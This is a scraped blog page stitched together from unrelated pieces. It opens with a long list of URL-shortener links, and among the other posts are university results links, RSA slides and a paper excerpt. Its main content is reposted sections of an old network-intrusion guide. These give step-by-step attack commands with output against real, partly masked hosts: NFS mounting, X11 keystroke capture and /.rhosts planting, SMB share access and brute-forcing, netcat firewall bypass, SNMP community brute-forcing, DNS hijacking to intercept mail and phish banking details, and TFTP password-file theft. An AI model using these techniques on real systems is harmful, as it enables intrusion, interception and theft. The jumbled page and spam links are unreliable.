http://phaze.me/jrny
http://phaze.me/k12t
http://phaze.me/m9b6
http://phaze.me/nq7c
http://phaze.me/nt1x
http://phaze.me/nz1b
http://phaze.me/p0q0
http://phaze.me/pkkt
http://phaze.me/rm2y
http://phaze.me/t4wq
http://phaze.me/tqn0
http://phaze.me/v1b0
http://phaze.me/vm98
http://phaze.me/vmtm
http://phaze.me/vqqw
http://phaze.me/w736
http://phaze.me/xptc
http://phaze.me/yqnd
http://phaze.me/zh2v
http://sturly.com/aal0
http://sturly.com/aal1
http://sturly.com/aal2
http://sturly.com/aal5
http://sturly.com/aal6
http://sturly.com/aalm
http://sturly.com/aalq
http://sturly.com/aalr
http://sturly.com/aals
http://sturly.com/aalv
http://sturly.com/aalw
http://sturly.com/aalx
http://sturly.com/aaly
http://sturly.com/aalz
http://sturly.com/aama
http://sturly.com/aamb
http://sturly.com/aamc
http://sturly.com/aame
http://sturly.com/aamf
http://sturly.com/aamg
http://sturly.com/aamh
http://sturly.com/aami
http://sturly.com/aamk
http://sturly.com/aaml
http://sturly.com/aams
http://sturly.com/aamu
http://tcbp.net/s9
http://tcbp.net/sa
http://tcbp.net/sB
http://tcbp.net/sc
http://tcbp.net/sd
http://tcbp.net/sE
http://tcbp.net/sF
http://tcbp.net/sg
http://tcbp.net/sh
http://tcbp.net/sI
http://tcbp.net/sj
http://tcbp.net/sk
http://tcbp.net/sl
http://tcbp.net/sN
http://tcbp.net/sQ
http://tcbp.net/sS
http://tcbp.net/st
http://tcbp.net/sW
http://tcbp.net/sX
http://tcbp.net/sY
http://tcbp.net/t0
http://tcbp.net/t2
http://tcbp.net/t3
http://tcbp.net/t5
http://tcbp.net/t7
http://tcbp.net/t8
http://tcbp.net/t9
http://tcbp.net/ta
http://tcbp.net/tb
http://tcbp.net/tc
http://tcbp.net/te
http://tcbp.net/ti
http://tcbp.net/tj
http://tcbp.net/tk
http://tlink.me/1499
http://tlink.me/1500
http://tlink.me/1501
http://tlink.me/1502
http://tlink.me/1503
http://tlink.me/1504
http://tlink.me/1505
http://tlink.me/1507
http://tlink.me/1508
http://tlink.me/1510
http://tlink.me/1514
http://tlink.me/1515
http://tlink.me/1516
http://tlink.me/1517
http://tlink.me/1518
http://tlink.me/1519
http://tlink.me/1520
http://tlink.me/1525
http://tlink.me/1526
http://tlink.me/1527
http://tlink.me/1529
http://tlink.me/1530
http://tlink.me/1532
http://tlink.me/1533
http://tlink.me/1534
http://tlink.me/1537
http://tlink.me/1538
http://tlink.me/1540
http://tlink.me/1542
http://tlink.me/1543
http://tlink.me/1545
http://tlink.me/1549
http://tlink.me/1550
http://tlink.me/1554
http://tlink.me/1555
http://tlink.me/1557
http://tlink.me/1560
http://tlink.me/1563
http://tlink.me/1564
http://tlink.me/1565
http://tlink.me/1566
http://tlink.me/1567
http://tlink.me/1569
http://tlink.me/1570
http://tlink.me/1571
http://tlink.me/1572
http://tlink.me/1573
http://tlink.me/1574
http://tlink.me/1575
http://tlink.me/1576
http://urltwitter.com/1ipevu
http://urltwitter.com/2i7isa
http://urltwitter.com/4aza2o
http://urltwitter.com/4otifu
http://urltwitter.com/5ireri
http://urltwitter.com/6eyoco
http://urltwitter.com/6i3eko
http://urltwitter.com/bi3e7o
http://urltwitter.com/bixaso
http://urltwitter.com/fale2e
http://urltwitter.com/gu3eto
http://urltwitter.com/jafabu
http://urltwitter.com/jarewa
http://urltwitter.com/kedopu
http://urltwitter.com/kuno6o
http://urltwitter.com/me3ajo
http://urltwitter.com/nasozi
http://urltwitter.com/so3afi
http://urltwitter.com/vido6a
http://urltwitter.com/wulule
http://urltwitter.com/yucazo

RPC & portmapper (111 TCP + other UDP)

RPC & portmapper (111 TCP + other UDP)

The portmapper service works like this - I would connect to the portmapper port and state that I want to use a specific RPC service - the portmapper would then reply and tell me which port to use. (RPC is for remote procedure call - it's like executing a function on a remote machine, and getting the output back). The reverse is also true - if I want to write a RPC service, I must register it with the portmapper, so that the client that wants the service knows on what port I am listening. So what is the bottom line?

I could save myself a lot of portscanning trouble and just ask the portmapper what services are running on which ports. Now obviously the portmapper service itself must be running. So I might be testing for machines that have port 111 open first. Assuming that I now have a machine with an open portmapper port the following is done:
> rpcinfo -p 210.xxx.96.151
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100001 1 udp 1038 rstatd
100001 2 udp 1038 rstatd
100001 3 udp 1038 rstatd
100002 1 udp 1040 rusersd
100002 2 udp 1040 rusersd
100008 1 udp 1042 walld
100012 1 udp 1044 sprayd
150001 1 udp 1046 pcnfsd
- 61 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
150001 2 udp 1046 pcnfsd
100083 1 tcp 1026 ttdbserver
100068 2 udp 1048 cmsd
100068 3 udp 1048 cmsd
100068 4 udp 1048 cmsd
100068 5 udp 1048 cmsd
100003 2 udp 2049 nfs
100005 1 udp 785 mountd
100005 1 tcp 787 mountd
100024 1 udp 989 status
100024 1 tcp 991 status
100021 1 tcp 840 nlockmgr
100021 1 udp 842 nlockmgr
100021 3 tcp 845 nlockmgr
100021 3 udp 847 nlockmgr
100020 1 udp 850 llockmgr
100020 1 tcp 852 llockmgr
100021 2 tcp 855 nlockmgr
1342177279 3 tcp 1067
1342177279 1 tcp 1067

From this we can which RPC services the host is running. A very interesting service see running is NFS (network file system). Maybe the host is exporting some interesting NFS "shares"? Let us have a look:
> showmount -a 210.xxx.96.151
All mount points on 210.xxx.96.151:
xxx.com.tw:/HUANGFS
xxx.com.tw:/HUANGFS
xxx.com.tw:/HUANGFS
We can see that this host is only export the shares to specific machines (in Taiwan) - not to the rest of the world - so it is pretty useless to even try to mount these "shares" on our host. Maybe I'll look for a host with some public shares, and then we'll look at mounting those. OK...here goes:
> showmount -e 128.xxx.135.52
Exports list on 128.xxx.135.52:
/install_2.6 Everyone
/export/install Everyone
/psrc rcd_hosts
/usr/share/opt rcd_hosts xxx.edu
/usr/share/opt2.5 rcd_hosts
/scratch7 rcd_hosts
/pucc rcd_hosts xxx.edu
/home/helios/u52 rcd_all
/home/helios/u51 rcd_all
# mount_nfs 128.xxx.135.52:/export/install /mnt
# cd /mnt
# ls


Let us move on to some of the other services. One of the other services that you would notice is "rusers". Rusers is the same as finger - there ain't that many tricks with rusers, but it would give you a list of users active on the host. It very useful when the finger service is not running, or when it is blocked, and you need some usernames.

> rusers -al 210.xxx.96.151
Damn - no users logged on. Let us see if we can't find a host somewhere on the 'net with users logged on:
# rusers -al 128.xxx.135.109
wgw xxx.edu:console Sep 19 16:11 :53 (:0)
(confirming:)

> finger @128.xxx.135.109
[128.xxx.135.109]
Login Name TTY Idle When Where
wgw William Wolber console 1:06 Tue 09:11 :0

Another RPC service that is quite cute is the rstatd server. This service gives some (kinda useless) information such as uptime and load:
> rup 210.xxx.96.151
210.xxx.96.151 1:17am up 4 days, 22:14, load average: 0.00 0.00 0.01
Should I wish to, I could write a message to all the users logged in on the host using the rwall command (now... I don't want to do that would I, but it would look like this):
>rwall 210.xxx.96.151
Greetings from South Africa!
^D
>

This command would write above message to the consoles of all users connected to the host. Using this command with loops has obvious annoying effects.
Another RPC service that is not mentioned here is the Yellow Pages system (YP). YP was quite popular at some stage in large corporations and universities, but its rare to see it today. For a very nice discussion on ways to get juicy information from YP the best document must be Dan Farmer's "Improving the Security of Your Site by Breaking Into it" - you can find it here (http://www.ussrback.com/docs/papers/unix/farmer.txt).
The more serious problems with RPC services are that some of them are exploitable. The "ttdbserver" and "cmsd" services have known problems that would allow an attacker to execute any command on the host. These exploits are very OS dependent, but also a very real...check your local exploit database for the goodies.

Monday, August 23, 2010

ANNA UNIVERSITY TIRUNELVELI PG PROGRAMME RESULTS:

anna university P.G programme results..


regulation 2007 and 2008:

http://218.248.20.134/PG10/PGIII.aspx


regulation 2009:

http://218.248.20.134/PG1X/PGI.aspx

Friday, August 20, 2010

Packet-Level Parallelism

Packet-Level Parallelism

Times given are in megabits per second for several protocol stacks. Our baseline
Internet stack consists of TCP/IP/FDDI, representing
protocol processing without any security. A second stack is
an Internet stack with MD5 between TCP and IP, representing
the work done for an application that requires authentication
and integrity but no confidentiality. Our third stack
uses DES above TCP and MD5 below TCP, which supports
both confidentiality and integrity. Our fourth stack is the
same as the third, except that we use triple-DES instead of
DES.

These throughputs were measured on our 12-processor
Challenge machine, using a single TCP connection with 4
KB packets. For these and all subsequent graphs, each data
point is the average of 10 runs, where a run consists of
measuring the steady-state throughput for 30 seconds, after
an initial 30 second warmup period. Throughput graphs
include 90 percent confidence intervals.


The baseline speed for the send-side TCP stack is roughly 138 Mbits/sec. Adding MD5 to the stack reduces throughput by nearly an order of magnitude, to
a mere 18 Mbits/sec2 . Adding DES on top of TCP reduces
throughput nearly 2 orders of magnitude, to 4.6 Mbits/sec.
Using Triple-DES is 3 times slower at 1.5 Mbits/sec.
Figure 4 shows the corresponding relative speedup for
the send-side tests, where speedup is throughput normalized
relative to the uniprocessor throughput for the appropriate
stack. The theoretical ideal linear speedup is included for
comparison. Previous work [3, 24] has shown limited performance
gains when using packet-level parallelism for a
single TCP connection, barring any other protocol processing,
and this is reflected by the baseline TCP/IP stack’s
minimal speedup. This is because manipulating a TCP connection’s
state is large relative to the IP and FDDI processing
and must occur inside a single locked, serial component. Of
course, throughput can be improved by using multiple connections.

However, as more compute-intensive cryptographic protocols
are used, while the throughput goes down, the relative
speedup improves. For example, the MD5 stack achieves a
speedup of 8 with 12 processors, and the DES and Triple-
DES stacks produce very close to linear speedup

Thursday, August 5, 2010

X11 (6000 TCP)

X11 (6000 TCP)
X11 displays are (normally) protected on a network level - that is - there are no usernames and passwords involved. The display is actually a server and it listens on port 6000 (TCP). Control for clients to connect to the server is facilitated with the "xhost" command. By default it is set up in a way that nobody can connect to the display - default deny. As soon as programs are sharing the display (exporting an xterm to your display from another host or whatever) the user of the display have to add the IP number or DNS name of the client that wish to connect by running the command "xhost +". In theory this works perfectly nice, but in the real world people tend to just enter "xhost +" which allows anyone to connect to the display.

A host that is open for anyone to connect to the display is risking a lot, and could possibly be compromised. There are a few nice things to do when you find an open X11 display. One of the most common attacks is to capture all the keystrokes that is entered on the victim's host. The program "xkey" (available from www.hack.co.za) does this very neatly:

xkey 196.37.xxx.14:0.0
..you wait..time passes...and then:
ssh -l root -<>P 196.37.xxx.1

weirdshitometer
Its clear why we are excited about key captures. A open X11 display can also be "copied" - the root window (the main window) can be copied, and displayed. Each window have a unique ID - you can specify which window you want to copy, but for a start let us get the root window:

xwd -display 196.37.xxx.14 -root -silent -out /tmp/screendump
..wait for the transfer...
xv /tmp/screendump


We are using xv to display the screen - xv can read the xwd format straight off. The screen might include some interesting data - if you get a screensaver - bad luck - use finger to see when someone is active. To get a list of windows that are open on the display you might want to issue the command:
xwininfo -display -all -root | grep \"
(extract)
0x3000e6f "Netscape: Find": ("findDialog_popup" "Netscape") 378x144+536+227 +536+227
0x1c0000c "FvwmButtons": ("FvwmButtons" "FvwmButtons") 385x68+0+0 +635+4
0x2400005 "xload": ("xload" "XLoad") 106x52+2+2 +637+6
0x2000002 "Desktop": ("FvwmPager" "FvwmModule") 105x64+277+2 +912+6
0x30001ec "Netscape": ("communicator-4_72_bin" "Netscape") 1x1+0+0 +0+0
0x3000172 "Communicator Bookmarks for Roelof Temmingh": ("bookmarks" "Netscape") 872x622+10+10 +10+10


0x300001c " ": ("mozillaComponentBar" "Netscape") 5x5+50+50 +50+50
0x3000001 "Netscape": ("communicator-4.72.bin" "Netscape") 1x1+0+0 +0+0
If the victim is using more than one virtual screen you will be able to see the other screen listed (you won't see it with xwd). With a bit of luck you get a Netscape browser open. To get Netscape open on an open X11 display is very good news as you can remotely control Netscape. Fancy telling Netscape to open /etc/passwd and doing another screen capture? Here is how :
netscape -display -remote 'openFile(/etc/passwd)'
xwd -display -root -silent -out /tmp/netscape_
xv /tmp/netscape


You can even tell Netscape to write files. It won't work trying to overwrite files - you will find a nasty Netscape popup, but you can write files that do not exist. You could create a page with "+ +" on it, redirect the browser to the page, and, if Netscape is running as root, save it to /.rhosts. Be sure to have a close look at http://home.netscape.com/newsref/std/x-remote.html if you find an open X11 running Netscape.

In theory you could also send keystrokes to an open X display. I found the program "xpusher.c" at , fiddled around with it, but it does not seem to work. There might be other programs around.

Saturday, July 31, 2010

R-services (rshell, rlogin) (513,514 TCP)

R-services (rshell, rlogin) (513,514 TCP)

The R-services has used in the good old days of (campus) wide open Unix clusters of machines. It was used to hop from one server to the next with as little as possible effort - it's almost the same as telnet or SSH - it gives you a shell (or executing a command). Nowadays it is not very common to find Unix servers with rlogin or rshell ports open. Rshell is basically an extension of rlogin - Rshell will execute a command after logging in with the username and password specified. For the purposes of this document we can see rlogin and rsh as the same. These two services are protected by the ".rhosts" file(s). These files reside in a user directory and contain the IP numbers (or DNS names) and usernames on the remote machines that could assume control on the local machine.

But heck - I am not here to explain how rlogin and rsh works - the only thing that needs to be said here is that you could also try to get into a machine using it. It works much the same as telnet - all the same principles apply- try getting usernames etc. Sometimes rlogin is used in conjunction with other tricks - if you can get a "+ +" (allow anyone from anywhere) in the .rhost file you are made - see the X11 section.

Wednesday, July 28, 2010

NetBIOS/SMB (139 TCP)

NetBIOS/SMB (139 TCP)
SMB(Server Message Block
SMB is used by Windows machines (and with SAMBA even Unix machines) to communicate. A lot can be done through an open NetBIOS port. The first thing is to try to find out what shares are advertised on the server. Some servers is not configured well and will revealing its shares without a username or password (using a NULL connection).
>smbclient -L 209.xxx.68.66 -n "justatest"
Password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 2.0.3]
Sharename Type Comment
--------- ---- -------
winshares Disk FreeBSD Samba Server
IPC$ IPC IPC Service (Samba 2.0.3)
Server Comment
--------- -------
FILES Samba 2.0.3
Workgroup Master
--------- -------

WORKGROUP FILES

(Note the -n switch - we don't want to call the server with our server name, just in case you are running SAMBA yourself) As you can see we find some lovely information on the server - the workgroup/domain name, the description and the Windows version (above server was a SAMBA server actually). Nice...Of course with a known password, or a blank password things are much more fun- you can list all the shares or you might want to access a drive:
> smbclient \\\\208.xxx.198.71\\c$ -U administrator -n "justatest"
Password:
Domain=[xxx] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
smb: \> ls
WINNT D 0 Fri Oct 8 23:24:02 1999
NTDETECT.COM AHSR 26816 Fri Aug 11 01:22:24 2000
ntldr AHSR 156496 Fri Aug 11 01:22:24 2000
boot.ini ASR 288 Sat Oct 9 00:30:56 1999
ffastun.ffo AH 208896 Fri Dec 29 00:35:34 2000
Program Files D 0 Fri Oct 8 23:28:10 1999
CONFIG.SYS A 0 Fri Oct 8 23:31:46 1999
AUTOEXEC.BAT A 0 Fri Oct 8 23:31:46 1999
IO.SYS AHSR 0 Fri Oct 8 23:31:46 1999
MSDOS.SYS AHSR 0 Fri Oct 8 23:31:46 1999
TEMP D 0 Fri Oct 8 23:31:50 1999


You are now dropped into the smbclient "shell". From here you could do file transfers and the likes (see Chapter 6 - what now). You should really be able to figure out how "smbclient" works on your own...
You might also want to try to collect information with the "nmblookup" command - it helps sometimes to find the administrator username (if it was changed):
# nmblookup -A 160.124.19.99
Looking up status of 160.124.19.99
received 10 names
HUTSI <00> - B
SENSEPOST <00> - B
HUTSI <20> - B
HUTSI <03> - B
SENSEPOST <1e> - B
SENSEPOST <1d> - B
INet~Services <1c> - B
..__MSBROWSE__. <01> - B
IS~HUTSI <00> - B
BAAS <03> - B

Look at the entries marked <03>. Note "BAAS". "Baas" is the renamed administrator username. So, forget trying using "administrator" as a username.
You also want to have a look at VLAD (yet again). The pwscan.pl script does a good job of brute forcing NetBIOS (run it with switches -v and -B). The pwscan.pl script actually uses the "smbclient" command and inspects the output to find a valid username & password combination. If you want to brute a specific share, you will need to modify these lines (starting at line 610 in version 1.17):
$cmd = "smbclient";
$service = "//".$target."/ipc\$";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
to read something like

$cmd = "smbclient";
$service = "//".$target."/sharename";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);

An excellent paper on NetBIOS and the CIFS protocol by Hobbit can be found at http://packetstorm.securify.com/docs/infosec/cifs.txt. You really should try to read it.
Added: you should really look at a tool called CIS by David Litchfield (nowadays with @stake) It does a lot of cool stuff – and it does wonders for SMB.

Tuesday, July 27, 2010

SSH (22 TCP)

SSH (22 TCP)

There are a lot of people of there than think their SSL - enabled website is not vulnerable to the common exploits found. They think - we have security on our site - it's safe. This is a very twisted view. The same is true for SSH. The default SSH installation of SSH (using a username and password to authenticate) only provides you with an encrypted control session. Anyone out there can still brute force it - a weak password (see telnet) is just as a problem with SSH as with telnet. The advantage of using SSH is that your control session is encrypted - this means that it would be very difficult for someone to see what you are doing. The other nice thing about using SSH and not telnet is that a SSH session cannot be hijacked. There are some theories of a SSH insertion attack, but I have not seen this work in the real world.

SSH can also be used for tunneling other data over the SSH channel. This is very sweet and there's many interesting tricks - running PPP over SSH, running Z-modem transfers over SSH etc. But we are here for breaking not building eh?

Monday, July 26, 2010

Public-Key Crypto-System

Rivest, Shamir, Adleman (RSA)
Public-Key Crypto-System
● Based on the fact that finding large (e.g. 100
digit) prime numbers is easy, but factoring
the product of two such numbers appears
computationally infeasible
● Choose very large prime numbers P and Q
N = P x Q
N is public; P, Q are secret

● Euler totient: Phi(N) = (P-1)(Q-1) = Number
of integers less than N & relatively prime to N

● Next, choose E in [2, Phi(N)-1], E is public

● A message is represented as a sequence
M1, M2, M3..., where each M in [0, N-1]

● Encryption: C = ME mod N

● Using the secret Phi(N), A can compute D
such that ED = 1 mod Phi(N)

ED = k x Phi(N) + 1

● Then, for any X < N, Xk x Phi(N)+1 = X mod N

● Decryption: CD = MED = Mk x Phi(N)+1 = M mod N

● Example: Choose P = 17, Q = 31
– N = 527, Phi(N) = 480
– Choose E = 7, then D = 343
– If M = 2, Encryption: C = 128
– Decryption: D = CD mod N = 128343 mod 527 = 2

Sunday, July 25, 2010

Network level attack - Source port 20,53

Network level attack - Source port 20,53
Some of the ancient firewalls and lousy implemented screening routers have a problem with dealing with FTP reverse connections. For those that does not know how it works - a normal (active) FTP session works like this. The FTP client makes a connection from a random port to port 21 on the FTP daemon. This is the control connection. As soon as you type "ls" or "get" or "put" a secondary connection (the data connection) is needed. This connection is made from the FTP server with a source port of 20 to a port on the client. The client using the FTP native PORT command specifies the destination port of the reverse connection. As such the client's firewall needs to allow connection from source port 20 to (high) destination ports in order for the reverse data connection to be made. With stateful inspection firewalls the firewall will monitor (sniff) the initial outgoing (control connection) packets. When it sees the PORT command, it will automatically open the packet filters to allow the reverse connection to the client on the port that it specified (this is the source of much mischief - spoofing such PORT commands could be used to fool the firewall to open up a port on an IP number that it is not suppose to). Firewalls that do not make use of stateful inspection have a problem with these reverse connections. If we can change our source port to 20 we could bypass the filters and connect to an IP on a high port. How? Using netcat:
> nc -n -p 20 -v 196.38.xxx.251 1024
(UNKNOWN) [196.38.xxx.251] 1023 (?) : Operation timed out
> nc -n -p 20 -v 196.38.xxx.251 1025
(UNKNOWN) [196.38.xxx.251] 1025 (?) : Connection refused

As can be seen from this example - when we connect to a port <= 1024 we hit the packet filter. Trying ports > 1024 we are bypassing the filter (although there is nothing running on port 1025. What is the use then - nothing runs on ports > 1024. Wrong. MS-SQL runs on 1443, IRC on 6667, some Cisco configurations on 2001,3001, Squid on 3128, and a lot of proxies on 1080,8080 etc. So let us assume that we want to access an MS-SQL box sitting behind a crappy firewall that allows connection with source port 20. How do we put it all together? Netcat again:
> cat > go.sh:
#!/bin/sh
/usr/local/bin/nc -p 20 -n victim 1433
^D
> nc -l -p 1433 -e go.sh

Hit your own machine with Microsoft SQL Enterprise Manager.


This is just about straight from the nehttp://sibichakkaravarthy.blogspot.com/tcat documentation - so be sure to read it as well. go.sh is execute when the SQL manager hit port 1433; it makes a connection to the victim using source port 20.

For applications that use multiple connections (such as HTTP) you will need to have nc in a loop - so that it fires off a new instance of go.sh for every new connection. As this is explained in the netcat docs I will not repeat it here.
In exactly the same way you could experiment with source port 53 - (DNS zone transfers). Also keep in mind that we are only taking about TCP here - think about DNS...source port 53 to high ports using UDP, and NFS running on port 2049...get creative!

Tuesday, July 20, 2010

SNMP (161 UDP)

SNMP (161 UDP)

SNMP - Simple Network Management Protocol

SNMP is short for Simple Network Management Protocol and it does just that - it is used to monitor and manage hosts and routers. The majority of users of SNMP use it to monitor routers - to show bandwidth utilization and to send messages to the SNMP monitoring station when a link goes down. The most common SNMP monitoring software is HP Openview. Attackers use SNMP for discovering networks and possibly to change or disrupt networking. SNMP on host (especially NT workstations) are fun - it reveals a lot of interesting information.

SNMP uses a community name for access control - if you don't have the right community name you cannot get information from the host or router. The easiest way of checking a valid community name is using the snmpwalk command (it is bundled with the ucd-snmp package):

> snmpwalk 196.35.xxx.79 xmax
system.sysDescr.0 = Cisco Internetwork Operating System Software
IOS (tm) 3000 Software (CPA25-CG-L), Version 11.0(6), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1996 by cisco Systems, Inc.
Compiled Thu 21-Mar-96 00:29 by hochan
system.sysObjectID.0 = OID: enterprises.9.1.57

---blah blah---
One can see in the above example that a valid community name is "xmax". There are actually two sorts of community string - a "read" string and a "write" string. With the write string you would be able to change information on the host or the router - such as routing tables, IP addresses assigned to interfaces etc. - with a "read" string you can only get the information. SNMP uses UDP so make sure you allow UDP to enter your network. Just like usernames and passwords, community names can also be brute forced. Again we make use of VLAD's pwscan.pl PERL script. Populate the "community.db" file and let rip:
perl pwscan.pl -v -M 196.35.xxx.79
Did I mention that you could use pwscan.pl to scan more than one IP number, using simple scripting?
> cat > toscanips.txt
196.34.121.1
196.7.18.120
160.124.19.98
^D
> cat > goscan
#!/bin/tcsh
foreach a (`cat toscanips.txt`)
echo working on $a ...
perl pwscan.pl -v -M $a
continue
end
^D
> chmod u+x goscan
> ./goscan
working on 196.34.121.1 ..
.
--blah blah--
Real easy eh? A Windows program that will provide an excellent "viewer" for SNMP information is Solarwind's IP browser (get it at http://www.solarwinds.net/) - it will try to perform a SNMP walk of all pingable machines in a network. It is not a freeware application, but it's really good. Another nice feature is that you can supply your own community strings, and can edit the information if the string allows you to update information - e.g. a "write" string.

Thursday, July 15, 2010

DNS (53 TCP,UDP)

DNS (53 TCP,UDP)
DNS must be one of the most underrated services in terms of hacking. DNS is most powerful. Let us look what can be done by only manipulating DNS. Let's assume that I have full control of a domain's primary DNS server. For this example we'll assume that the domain name is sensepost.com. Sensepost.com's has two MX records; one marked as pri 10 - wips.sensepost.com and the other pri 20 - winston.mtx.co.za. Let say for now that I insert another MX records at pri 5 - and point it to attacker.com. What would be the effect of this? All mail to sensepost.com would first travel to port 25 at attacker.com. At attacker.com it can be read at leisure and then redirected to the MX 10 (wips.sensepost.com), and we won't know of any better. Sure, if one look at the mail header it will show that the email is relayed through attacker.com, but how many people check their mail header on a regular basis? How do we do the actual redirect? A slightly modified version of "bounce" (a popular TCP redirector program that is available for just about any platform) comes in very handy. The program binds to a port and redirects any traffic from one IP to a port on another IP. I have modified bounce in order to see the actual traffic - line 75 is inserted and reads:

fprintf(stdout,"%s\n",stail);
and inserted line 83 reads:
fprintf(stdout,"%s\n",ctail);

so that all "server" and "client" data is written to the /var/log/messages file (it is up to the reader to write nice parsing code to populate individual mailboxes according the "RCPT TO:" field). The program is called with the following parameters:
bounce_rt -a 160.124.19.98 -p 25 196.xxx.115.250 25

In above case my IP is 160.124.19.98 (the attacker.com) and 196.xxx.115.250 is the victim. SMTP traffic is seamlessly translated from me to the victim - the only trace that the mail was intercepted is the mail header.
Things get more interesting where commerce sites are involved. Let us assume that my victim has an Internet banking site. I completely mirror the site, and point the DNS entry for the banking site to my IP number (where the mirror is running). The site is a mirror save for the backend system - the mirror replies with some kind of error, and the link to "please try again" is pointing to the actual IP number of the real site. Sure - what about SSL and server certificates you might say. And what about it? Do you REALLY think that people notice when a connection is not SSL-secured? Maybe 10% would - the rest would gladly enter their banking details on an open link. My "fake" site would farm a whole lot of interesting data before anyone would know the difference.
Another application for DNS hijacking would be abusing of trust relationships. Any service that makes use of DNS names for authentication can be tricked into allowing access to an attacker (provided that one also controls the reverse DNS entries). Here I am thinking of any TCP wrapped service, R-services and possibly even SSH.
How does one gain control over a primary DNS server? Maybe this is easier than you would expect. Why would we want to take over the DNS server if we
can simply BE the primary DNS server? Remember when you registered your domain? You needed to provide a primary and secondary DNS server (now-a-days places like Register.com does that for you - but you still have the option to change it). And there is some mechanism for you to change that - right? (at Register.com is a username and a password) So - it would be possible for me to change it - by basically convincing the system (be that human or electronic) that I am you. And all of sudden a large portion of your IT infrastructure and security hinges on a single username and password.
Another attack (that has been successfully carried out in the field many times) is simple social engineering. Most corporates host their DNS service at an ISP. Why bother to set up a primary DNS server and change DNS entries on root servers if I can convince your ISP to make changes to your local DNS? How does your ISP identify you? A telephone call? A fax? E-mail? All of which can be spoofed. Even scarier. All of a sudden things move away from high technology and hyper secure servers and we are down to more "meat" things - and technology that was never intended to be used as security devices.
Attacking the DNS service itself by using exploits is also an option. Certain versions of the popular DNS service BIND for Unix have known exploits, and can be tricked into giving you a root account on the host. How to find vulnerable DNS servers? There is the quick way, and the proper way for bulk scanning. The quick way is to issue the command:
dig @ns.wasp.co.za version.bind chaos txt
would result in the output:
; <<>> DiG 8.3 <<>> @ns.wasp.co.za version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUERY SECTION: ;; version.bind, type = TXT, class = CHAOS ;; ANSWER SECTION: VERSION.BIND. 0S CHAOS TXT "8.2.2-P5" ;; Total query time: 592 msec ;; FROM: wips.sensepost.com to SERVER: ns.wasp.co.za 196.31.211.1 ;; WHEN: Tue Sep 19 16:27:43 2000 ;; MSG SIZE sent: 30 rcvd: 63

note the part that says [VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"]. This tells us that ns.wasp.co.za is using BIND version 8.2.2-p5 - a safe version (at the time of writing :)) This method is a bit messy, but works fine if you quickly want to check some version. A better way is to use VLAD. The script in question is "dnsver.pl", a script that check the BIND version, and report if it is vulnerable or not:
> perl dnsver.pl -v ns.wasp.co.za
RAZOR BIND Scanner v1.0.1
By Robert Keyes (c) BindView Corporation
http://razor.bindview.com/tools/vlad/
Requires Net::DNS module from
http://cpan.valueclick.com/authors/id/M/MF/MFUHR/Net-DNS-0.12.tar.gz
Checking ns.wasp.co.za
Server Response: NOERROR
DNS Server Version: BIND 8.2.2-P5

The script only finds the BIND version, and as such is non-intrusive. Using
this script with multiple IP numbers are very simple. Put the IP you wish to
check for in a file (assuming the file is called /tmp/ips) Execute the
following script, piping its output to your results file:
#!/usr/local/bin/tcsh
foreach a (`cat /tmp/ips`)
perl dnsver.pl -v $a
continue
end

By this time you should really be familiar with this type of script.

Wednesday, July 7, 2010

TFTP (69 UDP)

TFTP (69 UDP)
TFTP-TRIVIAL FILE TRANSFER PROTOCOL

TFTP FEATURE:
* Platform: Windows 2000/XP/2003/Vista/2008/7. TFTP Server is running as background task.
* Implemented as a system Windows service
* Fully compatible with RFC1350, RFC2347, RFC2348 and RFC2349
* Runs as a background "around-the-clock" task
* Ensures flexible access rights setup according to client's IP-address
* Support firewalls: the sever allows indicating the range of UDP-ports, used for transmitting the data. This allows network administrators to regulate firewall rules, approving the traffic, generated by the server.
* Full TFTP option support. The server fully supports the options 'tsize', 'blocksize' and 'timeout', which enables the administrators to reach the maximum performance, when transferring the data.
* An option of setting a highest precedence for the sever process. This option is used in systems with a large number of TFTP-clients and helps to assist them with the maximum speed.
* Contains graphic utilities for server setup and server status control
* High-performance multithreaded architecture

UDP-USER DATAGRAM PROTOCOL

Protocol suite : TCP/IP.
Protocol type : Connectionless transport layer protocol.
IP Protocol : 17.

The User Datagram Protocol offers only a minimal transport service -- non-guaranteed datagram delivery -- and gives applications direct access to the datagram service of the IP layer. UDP is used by applications that do not require the level of service of TCP or that wish to use communications services (e.g., multicast or broadcast delivery) not available from TCP.

UDP is almost a null protocol; the only services it provides over IP are checksumming of data and multiplexing by port number. Therefore, an application program running over UDP must deal directly with end-to-end communication problems that a connection-oriented protocol would have handled -- e.g., retransmission for reliable delivery, packetization and reassembly, flow control, congestion avoidance, etc., when these are required. The fairly complex coupling between IP and TCP will be mirrored in the coupling between UDP and many applications using UDP.

TFTP-TRIVIAL FILE TRANSFER PROTOCOL

TFTP is your friend. TFTP does not require any authentication - it is usually used for network equipment to get their configurations at boot time. A router can be set up to TFTP to a Unix/Windows box and get its config from this box. TFTP makes use of the UDP protocol - and is as such connectionless.

Normally a TFTP server will allow the attacker to transfer any file to him/her (/etc/shadow might be a start). The more recent version of the server will restrict you to only access files that are readable by everyone, and you might find yourself "jailed" in a directory - like with FTP. The other restriction on the more recent servers is that the only files that can be written are those that already exists and that are writeble by everyone. The other difference between TFTP and FTP is that you need to know what file you want - there is no "ls" command, but then again, you can make some intelligent choices.

Let us look at an example (this is really easy, but what the heck). First I use nmap to find a machine out there with an open TFTP port. Note that for this scan (a UDP scan) you'll need to allow UDP (duh) and ICMP to enter your network, as nmap looks at ICMP port unreachable messages to determine if the port is open.

# nmap -+output
n -sU -iR -p 69
>tftp
tftp> connect 129.xxx.121.46
> get /etc/password /tmp/passwd
tftp> get /etc/passwd /tmp/passwd
Received 679 bytes in 1.9 seconds
tftp> q
/> more /tmp/passwd


root:*:0:0:System Administrator:/root:/usr/contrib/bin/bash
daemon:*:1:1:System Daemon:/:/sbin/nologin
sys:*:2:2:Operating System:/tmp:/sbin/nologin
